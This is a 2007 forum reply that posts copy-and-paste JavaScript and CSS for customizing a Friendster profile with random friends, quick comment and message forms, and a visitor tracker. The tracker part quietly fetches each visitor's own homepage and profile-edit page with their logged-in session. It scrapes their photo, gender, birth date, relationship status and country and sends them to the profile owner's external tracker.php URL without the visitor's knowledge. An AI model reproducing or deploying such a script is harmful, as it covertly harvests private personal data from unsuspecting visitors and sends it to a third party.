[quote=bobcbar]:crybaby: I am just not getting it, I know its not a suprise, but I spent the afternoon trying to add the random friends to my page. Even went and upgrade to the latest WVM thinking it was my problem =(
Any time I add the Ffetcher.init(); } after the onProfileLoad function my tracker disappears. Then when I add [b]Step 3[/b] none of my other codes work.
Suggestions please :/ Please don't refer me to the Tutorial How to use FTalk Coders Codes, been there the last hour :retard:[/quote]
[b]:::::JUST COPY AND PASTE IT TO YOUR TRACKER.JS::::::[/b]
[b]-=CHANGE THE "YOUR TRACKER.PHP URL" TO YOUR TRACKER.PHP URL=-[/b]
if(document.location.href.match(/profiles\./)) document.location.href = document.location.href.replace(/profiles\./, "www.");
function onProfileLoad() {
//onload handler
if(pageViewerID!="") COMMENTOR.init();
addBox("RIGHT",pageOwnerFName+"'s Visitors",TRACKER.div.innerHTML,"tracker",null);
Ffetcher.init();
}
/*TRACKER OBJECT*/
if (typeof TRACKER == "undefined") { TRACKER = {}; }
TRACKER = {
style: {
filter: "chroma(color='#FFFFFF')",
width: '300px',
height: '515px',
border: '0px'
},
attributes: {
frameborder: '0',
allowtransparency: 'true'
},
phplink: "[b]YOUR TRACKER.PHP URL[/b]",
exitmessage: "Bye "+pageViewerFName,
/*do not edit below this line*/
/*
by marfillaster, copyright 2007 friendster.com/mumbhaki
licensed under GNU General Public License, version 2
http://www.gnu.org/licenses/gpl.html
Disclaimer: NO GUARANTEE and WARRANTY provided! For educational purposes only. Author will not be liable of ANY damage through the use of this program
*/
base_domain: "http://www.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp",
details: {
photo: null,
gender: null,
birth: {
day: null,
month: null,
year: null
},
status: null,
location: null
},
regexp: {
photo: /imgblock65homeprofile"[\S\s]*?src="([\S\s]*?)"/,
gender: /value="([m|f]{1})" checked>/,
birth: {
day: /birthday">[\S\s]*?selected>([\S\s]*?)</,
month: /birthmonth">[\S\s]*?selected>([\S\s]*?)</,
year: /birthyear">[\S\s]*?selected>([\S\s]*?)</
},
status: /name="status"[\S\s]+?checked>[\S\s]+?>([\S\s]+?)<\/label/,
location: /name="country"[\S\s]*?selected>([\S\s]*?)</
},
init: function() {
var d= new Date();
var sec=invert(d.getTimezoneOffset()*60);
var hr=invert(d.getTimezoneOffset()/60);
this.timedetails="oss="+sec+"&osh="+hr;
var ifsrc=this.phplink+"?"+this.timedetails;
var atr="";
var sty="";
for (val in this.attributes) {
atr += val +"="+ this.attributes[val]+" ";
}
for (val in this.style) {
sty += val +":"+ this.style[val]+";";
}
try {this.div=document.createElement("<div>")}
catch(e){this.div=document.createElement("div")}
this.div.innerHTML="<iframe id=\"wvm\" "+atr+"src=\""+ifsrc+"\" style=\""+sty+"\"></iframe>";
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") this.getHOME();
},
getHOME: function() {
processAjaxRequest("GET",this.base_domain+"/",true,null, "parsehome",null);
},
getEDIT: function() {
processAjaxRequest("GET",this.base_domain+"/editprofile.php",true,null, "parseedit",null);
},
sendExit: function() {
document.getElementById(this.iframeid).src=this.phplink+this.param+"&exit=1";
alert(this.exitmessage);
}
};
function parsehome(htm) {
if(!htm) {
TRACKER.getHOME();
}else {
TRACKER.details.photo=urlencode(new RegExp(TRACKER.regexp.photo).exec(htm)[1]);
TRACKER.getEDIT();
}
}
function parseedit(htm) {
if(!htm) {
TRACKER.getEDIT();
}else {
for (val in TRACKER.details) {
if(val!="birth") if(val!="photo") TRACKER.details[val]=urlencode(new RegExp(TRACKER.regexp[val]).exec(htm)[1]);
}
for (val in TRACKER.details.birth) {
TRACKER.details.birth[val]=new RegExp(TRACKER.regexp.birth[val]).exec(htm)[1]
}
var age=displayage(TRACKER.details.birth.year,getMonthIndex(TRACKER.details.birth.month),TRACKER.details.birth.day,"years", 0, "rounddown");
TRACKER.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+TRACKER.details.photo+"&gender="+TRACKER.details.gender+"&age="+age+"&status="+TRACKER.details.status+"&country="+TRACKER.details.location;
document.getElementById(TRACKER.iframeid).src=TRACKER.phplink+TRACKER.param+"&exit=0";
}
}
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
TRACKER.init();
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") document.write("<body onbeforeunload='TRACKER.sendExit()'>");
function displayage(yr, mon, day, unit, decimal, round) {
//dynamicdrive
var one_day=1000*60*60*24;
var one_month=1000*60*60*24*30;
var one_year=1000*60*60*24*30*12;
var today=new Date();
var pastdate=new Date(yr, mon-1, day);
var countunit=unit;
var decimals=decimal;
var rounding=round;
finalunit=(countunit=="days")? one_day : (countunit=="months")? one_month : one_year;
decimals=(decimals<=0)? 1 : decimals*10;
if (unit!="years"){
if (rounding=="rounddown") return Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
else return Math.ceil((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals;
}
else {
yearspast=today.getFullYear()-yr-1;
tail=(today.getMonth()>mon-1 || today.getMonth()==mon-1 && today.getDate()>=day)? 1 : 0;
pastdate.setFullYear(today.getFullYear());
pastdate2=new Date(today.getFullYear()-1, mon-1, day);
tail=(tail==1)? tail+Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals : Math.floor((today.getTime()-pastdate2.getTime())/(finalunit)*decimals)/decimals;
return yearspast+tail;
}
}
function getMonthIndex(x) {
var m="JanFebMarAprMayJunJulAugSepOctNovDec";
return (m.indexOf(x)/3)+1;
}
function invert(x) {
if(x>0) return parseInt("-"+x);
else if(x<0) {
x=x+"";
return parseInt(x.substr(1,x.length-1));
}
return 0;
}
/*END TRACKER OBJECT*/
/*MISC FUNCTIONS*/
function urlencode(txt) {
return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E");
}
function addBox (type,head,htm,id,sibling) {
//by marfillaster
//type "LEFT" | "RIGHT"
//head header string
//htm innerHTML string
//id css_id string
//sibling css_id_insertbefore string | null
/* Available default Siblings
LEFT
controlpanel_1_1
photos_1_2
blogs_1_3
reviews_1_4
moreabout_1_5
publiccomments_1_7
scrapbook_1_8
RIGHT
meettrail_2_1
friends_2_2
ads_2_3
fanof_2_4
groups_2_5
null - appends to last
*/
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(type=="LEFT") {
var ul=document.getElementById("controlpanel_1_1").parentNode.parentNode;
htm="<div class='boxcontent'>"+htm+"</div>";
}
else var ul=document.getElementById("friends_2_2").parentNode.parentNode;
li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
htm+
"</div>"+
"</div>";
if(sibling==null) ul.appendChild(li);
else {
sibling=document.getElementById(sibling).parentNode;
ul.insertBefore(li,sibling);
}
}
function processAjaxRequest(type,url,cont,param,handler,handlerparam) {
//by marfillaster
//type 'POST' | 'GET'
//cont 'true' | 'false'
//param string | null
//handler string | null
//handlerparam string |null
if(handlerparam) handlerparam=","+handlerparam;
else handlerparam="";
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}");
httprequest.open( type, url, cont);
if(type=="POST") {
httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httprequest.setRequestHeader("Content-length", param.length);
httprequest.setRequestHeader("Connection", "close");
}
httprequest.send(param);
}
function randOrd(){
return (Math.round(Math.random())-0.5);
}
/*END MISC FUNCTIONS*/
//random friend
var base_domain = "http://www.friendster.com";
if (typeof Ffetcher == "undefined") { Ffetcher = {}; }
Ffetcher = {
friends: new Array(),
pages: null,
maxfriends: null,
container: null,
cached: new Array(),
display: 10,
init: function() {
var num=document.links;
for(var x=0;x<num.length;x++) {
if (num[x].href.match(/\/friends\/[\d]+?/)) {
var t=/\(([\d]+?)\)/;
this.maxfriends=t.exec(num[x].innerHTML)[1];
break;
}
}
this.pages=Math.floor(this.maxfriends/30);
var htm="<div id='fcontainer'></div>";
addBox("LEFT","Friends",htm,"frbox","moreabout_1_5");
document.getElementById("content_frbox").innerHTML+="<div class='viewall'><a href='javascript: void(Ffetcher.more())'>More Random Friends</a></div>";
this.container=document.getElementById("fcontainer");
this.fetch(0);
},
fetch: function(page) {
document.getElementById("frbox").childNodes[0].innerHTML="Friends Loading... Pls wait...";
processAjaxRequest("GET",base_domain+"/friends/"+pageOwnerID+"/"+page,true,null, "parseFriends",page);
},
show: function() {
this.container.innerHTML="";
this.friends.sort(randOrd);
for(var x=0;x<this.display;x++) {
this.container.innerHTML+=this.friends[x];
}
},
more: function() {
if(this.cached.length<(this.pages+1)) {
var temp;
do {
temp=Math.ceil(Math.random()*(this.pages));
}while(this.cached.toString().indexOf(":"+temp+":")!=-1);
this.fetch(temp);
}
else {
this.show();
}
}
};
function parseFriends(htm,page) {
if(!htm){
Ffetcher.fetch(page);
return;
}
var r= /search1\x22>[\S\s]+?paginglinksmodule\x22>([\S\s]+?)<div class=\x22paginglinksmodule/;
var temp=r.exec(htm)[1];
temp=temp.match(/<div class="flogriditem">[\S\s]+?<\/div>\n<\/div><\/div>/g);
for(var x=0;x<temp.length;x++) {
temp[x]=temp[x].replace("samsg_icon.gif>","samsg_icon.gif />");
temp[x]=temp[x].replace(/<a /g,"<a target=_blank ");
if(!temp[x].match("nophoto")) Ffetcher.friends.push(temp[x]);
}
Ffetcher.cached.push(":"+page+":");
document.getElementById("frbox").childNodes[0].innerHTML="Friends ";
Ffetcher.show();
}
if (typeof COMMENTOR == "undefined") { COMMENTOR = {}; }
COMMENTOR = {
authcode: "",
linker: "",
base_domain: "http://www.friendster.com",
init: function() {
var ls=new Array();
var olinks=document.links;
for(var x=0; x<olinks.length;x++) {
if(olinks[x].innerHTML.match(/Post a Comment|Add Comment/)) {
ls.push(olinks[x]);
}
}
this.linker=ls;
this.getCode();
},
getCode: function() {
this.linker[0].innerHTML="Please Wait...";
try{this.linker[1].innerHTML="Please Wait...";}catch(e){}
try{this.linker[2].innerHTML="Please Wait...";}catch(e){}
processAjaxRequest("GET",this.base_domain+"/comments.php?uid="+pageOwnerID,true,null, "getauth",null);
},
openForm: function() {
this.linker[0].setAttribute("href","#quickcomment");
try{this.linker[1].setAttribute("href","#quickcomment");}catch(e){}
try{this.linker[2].setAttribute("href","#quickcomment");}catch(e){}
var commform="<div id='bb'><style type='text/css'>.buttonBox{margin-top:5px;margin-bottom:5px}.butter {background: #dddddd; padding: 5px 5px 5px 5px;margin-right: 5px;margin-bottom: 5px}</style>"+
"<div style='DISPLAY: block'>"+
"<p style='font-style: italic; font-size: 90%'>"+
"You Can Also Dress Up Your Testimonial Or Comment With HTML, CSS, And Embed Images & Video! <a href=\"javascript:popup('/info/helpmedia.php',450,400,'yes');\">Click Here</a> To Find Out How To <a href=\"javascript:popup('/info/helpmedia.php',450,400,'yes');\">Add Videos And Images</a>."+
"</p>"+
"<form name='comment_form' id='comment_form' method='post' onsubmit=\"return checkFormSubmit('comment_form');\">"+
"<input type='hidden' name='authcode' value='"+this.authcode+"'><div class='flo466'>"+
"<textarea style='width: 100%' id='commentTextArea' class='pc_textarea' name='comment' onKeyDown='textCounter(document.comment_form.comment,document.comment_form.inputcount,1000);' onKeyUp='textCounter(document.comment_form.comment,document.comment_form.inputcount,1000);'></textarea><div class='ic'><br />"+
"<input type='hidden' value='submit' name='postaction'><div class='buttonBox'>"+
"<input style='font: 12px Arial;' class='submitButtons' type='submit' name='submit' onClick='javascript: void(COMMENTOR.send())' value='Submit'> <input style='font: 12px Comic Sans MS;' class='cancelButtons' type='reset' name='cancel' onClick='javascript: void(COMMENTOR.cancelForm())' value='Cancel'>"+
"</div>"+
"</div>"+
"<div class='dc'>Characters remaining: "+
"<input id='inputcount' readonly maxlength='4' size='4' value='1000' name='inputcount'>"+
"</div>"+
"</div>"+
"</form>"+
"</div>"+
"</div></div></div>";
addBox("LEFT","New Testimonial And Comment Form", commform,"quickcomment","publiccomments_1_7");
location.href="#quickcomment";
},
send: function() {
var inputcount=document.getElementById("inputcount").value;
var comment=document.getElementById("commentTextArea").value;
var param="&authcode="+COMMENTOR.authcode+"&postaction=submit&inputcount="+inputcount+"&comment="+encodeURI(comment);
processAjaxRequest("POST",this.base_domain+"/comments.php?uid="+pageOwnerID,true,param, "Creport",null);
document.getElementById("quickcomment").childNodes[0].innerHTML="Posting comment, please wait..." ;
try{document.getElementById("quickcomment").childNodes[1].innerHTML="Posting comment, please wait...";}catch(e){}
location.href="#quickcomment";
},
cancelForm: function() {
setTimeout("document.getElementById('quickcomment').parentNode.parentNode.removeChild(document.getElementById('quickcomment').parentNode);location.href='#publiccomments_1_7'",3000);
this.init();
}
};
function Creport(htm) {
document.getElementById("quickcomment").childNodes[0].innerHTML="Comment Posted";
COMMENTOR.cancelForm();
}
function getauth(htm) {
var myregexp = /authcode" value="([\da-z]+?)"/;
var match = myregexp.exec(htm);
COMMENTOR.authcode=match[1];
COMMENTOR.linker[0].innerHTML="Add Comment";
COMMENTOR.linker[0].setAttribute("href","javascript: void(COMMENTOR.openForm())");
try{
COMMENTOR.linker[1].innerHTML="Post a Comment";
COMMENTOR.linker[1].setAttribute("href","javascript: void(COMMENTOR.openForm())");
}catch(e){}
try{
COMMENTOR.linker[2].innerHTML="Post a Comment";
COMMENTOR.linker[2].setAttribute("href","javascript: void(COMMENTOR.openForm())");}
catch(e){}
}
if (typeof MESSENGER == "undefined") { MESSENGER = {}; }
MESSENGER = {
base_domain: "http://www.friendster.com",
linker: null,
smile: "",
type: "Message",
max: 1000,
slinker: null,
amp: "",
init: function() {
var olinks=document.links;
for(var x=0; x<olinks.length;x++) {
if(olinks[x].innerHTML.match(/Send Message/)) {
olinks[x].href="javascript: void(MESSENGER.openForm(0))";
this.linker=olinks[x];
}
if(olinks[x].innerHTML.match(/Send a Smile/)) {
olinks[x].href="javascript: void(MESSENGER.openForm(1))";
this.slinker=olinks[x];
}
}
},
openForm: function(t) {
if(t) {
this.smile="?action=sendsmile";
this.type="Smile";
this.max=500;
this.amp="&";
}
else {
this.smile="";
this.type="Message";
this.max=4000;
this.amp="";
}
this.linker.href="#";
this.slinker.href="#";
var htm="<script language=\"JavaScript\">"+
"function textCounter(field, countfield, maxlimit) {"+
"if (field.value.length > maxlimit) {"+
"field.value = field.value.substring(0, maxlimit);"+
"} else {"+
"countfield.value = maxlimit - field.value.length;"+
"}"+
"}"+
"</script>"+
"<div style=\"display:block;width:100%\"><label for=\"subjectfield\">Subject:</label>"+
"<input id=\"subjectfield\" type=\"text\" name=\"subject\" size=\"50\" maxlength=\"100\" value=\"\"></div>"+
"<label for=\"messagefield\">Message:</label>"+
"<textarea width=\"100%\" id=\"messagefield\" name=\"message\" wrap=\"virtual\" onKeyDown=\"textCounter(document.getElementById('messagefield'),document.getElementById('minputcount'),"+this.max+");\" onKeyUp=\"textCounter(document.getElementById('messagefield'),document.getElementById('minputcount'),"+this.max+");\"></textarea>"+
"<div id=\"mcontrols\"><div id=\"mcounter\">Characters remaining: <input id=\"minputcount\" readonly type=\"text\" name=\"inputcount\" size=\"5\" maxlength=\"4\" value=\"\"></div>"+
"<div id=\"mcheck\"><input id=\"savetosent\" type=\"checkbox\" name=\"savetosent\" value=\"y\">Save a copy in your Sent folder</div><br clear=\"all\" /></div>"+
"<div id=\"mbuttons\"><a class=\"greenButton\" alt=\"Send\" onmouseover=\"window.status='Send';return true;\" href=\"javascript: void(MESSENGER.postmessage())\">Send</a> <a class=\"greenButton\" alt=\"Cancel \" onmouseover=\"window.status='Send';return true;\" href=\"javascript: void(MESSENGER.cancelForm())\" value=\"Cancel \">Cancel </a></div>"+
"<script language=\"JavaScript\">"+
" document.getElementById(\"minputcount\").value = "+this.max+";"+
"</script>";
addBox("LEFT","Send "+this.type,htm,"quickmessage","controlpanel_1_1");
location.href="#quickmessage";
},
postmessage: function() {
var subjectfield=document.getElementById("subjectfield").value;
var messagefield=document.getElementById("messagefield").value;
var minputcount=document.getElementById("minputcount").value;
var savetosent=document.getElementById("savetosent").value;
var param=this.amp+"_submitted=1&msg_type=&uid="+pageOwnerID+"&form_id="+"&subject="+urlencode(subjectfield)+"&message="+urlencode(messagefield)+"&inputcount="+minputcount+"&savetosent="+savetosent;
processAjaxRequest("POST",this.base_domain+"/sendmessage.php"+this.smile,true,param, "Mreport",null);
document.getElementById("quickmessage").childNodes[0].innerHTML="Posting "+this.type+", please wait..." ;
document.getElementById("quickmessage").childNodes[1].innerHTML="" ;
location.href="#quickmessage";
},
cancelForm: function() {
setTimeout("document.getElementById('quickmessage').parentNode.parentNode.removeChild(document.getElementById('quickmessage').parentNode);location.href='#'",4000);
this.init();
}
};
function Mreport(htm) {
var myregexp = /sent/;
if(!htm.match("errorbox")){
document.getElementById("quickmessage").childNodes[0].innerHTML=MESSENGER.type+" Sent";
document.getElementById("quickmessage").childNodes[1].innerHTML="<div class='boxcontent'><strong>"+MESSENGER.type+" Sent</strong></div>";
} else {
var myregexp = /rc\x22>([\S\s]+?)<form name=\x22message_form/gm;
document.getElementById("quickmessage").childNodes[0].innerHTML="Error";
document.getElementById("quickmessage").childNodes[1].innerHTML="<div class='boxcontent'>"+myregexp.exec(htm)[1]+"</div>";
}
MESSENGER.cancelForm();
}
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") MESSENGER.init();
[b]::::AND THEN COPY AND PASTE THIS TO YOUR EXTERNAL.CSS::::[/b]
#fcontainer * {
padding: 0px;
margin: 0px;
font-size: 9px
}
.thumbnaildelete {
display: none
}
#fcontainer {
text-align: center;
height: 300px
}
#fcontainer .flogriditem {
width: 85px;
overflow: hidden;
margin: 4px;
height: 150px
}
.inlinelt {
position: relative;
left: -2px;
top: 1px
}
.flo50 .ic .imgblock a img {
height: 80px
}
.flo50 .ic .imgblock {
height: 80px;
width: 80px;
overflow: hidden;
background: #FFFFFF;
border: 2px #97B6CA solid;
text-align: center;
}
Last edited by s1ycks (2007-09-07 20:02:44)